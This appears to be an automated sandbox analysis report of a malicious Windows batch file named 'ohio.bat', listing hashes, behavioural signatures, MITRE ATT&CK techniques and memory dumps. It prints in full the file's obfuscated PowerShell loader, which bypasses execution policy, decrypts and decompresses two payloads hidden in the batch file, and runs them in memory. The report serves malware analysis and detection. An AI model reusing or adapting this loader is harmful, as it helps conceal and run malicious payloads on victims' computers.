c9e9d9c9877bcc96db0a30f0cb810a836f012bb5da29a4ee84f3459eaf1b0465

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
15/10/2024, 02:17

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General

Target

ohio.bat
Size

349KB
MD5

6ed1c3790a150f196906c2aa1b8bc60f
SHA1

5130258876b460cc322e94cda7b58feffd1d123a
SHA256

c9e9d9c9877bcc96db0a30f0cb810a836f012bb5da29a4ee84f3459eaf1b0465
SHA512

d9c426a888726318d732d523d7325a3921e1ecf02bb4b5adde4e35c1485af97e3d4d0823cfc1d7b9239d3d1c0fe7fa937e48f080f39fc50a506e0ba5e7074720
SSDEEP

6144:NXkgYHNek/UqH+cBIexS6l7XN2P20XGRhPUPdIjZPkuo/x:NXk9HNeaH+c5S6lLmLXkCGjQJ

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 1668	1720	cmd.exe	31
PID 1720 wrote to memory of 1668	1720	cmd.exe	31
PID 1720 wrote to memory of 1668	1720	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ohio.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0UILeVrDGkTjgz43PEbMjxafT3NzcnZJ3PhYPG7R6ow='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZHmlD5RlVk1wLbzKnAS/BA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kRKdv=New-Object System.IO.MemoryStream(,$param_var); $OuoxJ=New-Object System.IO.MemoryStream; $VCtmp=New-Object System.IO.Compression.GZipStream($kRKdv, [IO.Compression.CompressionMode]::Decompress); $VCtmp.CopyTo($OuoxJ); $VCtmp.Dispose(); $kRKdv.Dispose(); $OuoxJ.Dispose(); $OuoxJ.ToArray();}function execute_function($param_var,$param2_var){ $xKsAg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WAsce=$xKsAg.EntryPoint; $WAsce.Invoke($null, $param2_var);}$WvQrA = 'C:\Users\Admin\AppData\Local\Temp\ohio.bat';$host.UI.RawUI.WindowTitle = $WvQrA;$ADfqx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($WvQrA).Split([Environment]::NewLine);foreach ($HmAUR in $ADfqx) { if ($HmAUR.StartsWith(':: ')) { $CJopL=$HmAUR.Substring(3); break; }}$payloads_var=[string[]]$CJopL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1668-4-0x000007FEF50AE000-0x000007FEF50AF000-memory.dmp

Filesize
4KB

Download
memory/1668-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/1668-6-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-8-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-7-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/1668-10-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-9-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-11-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1668-12-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download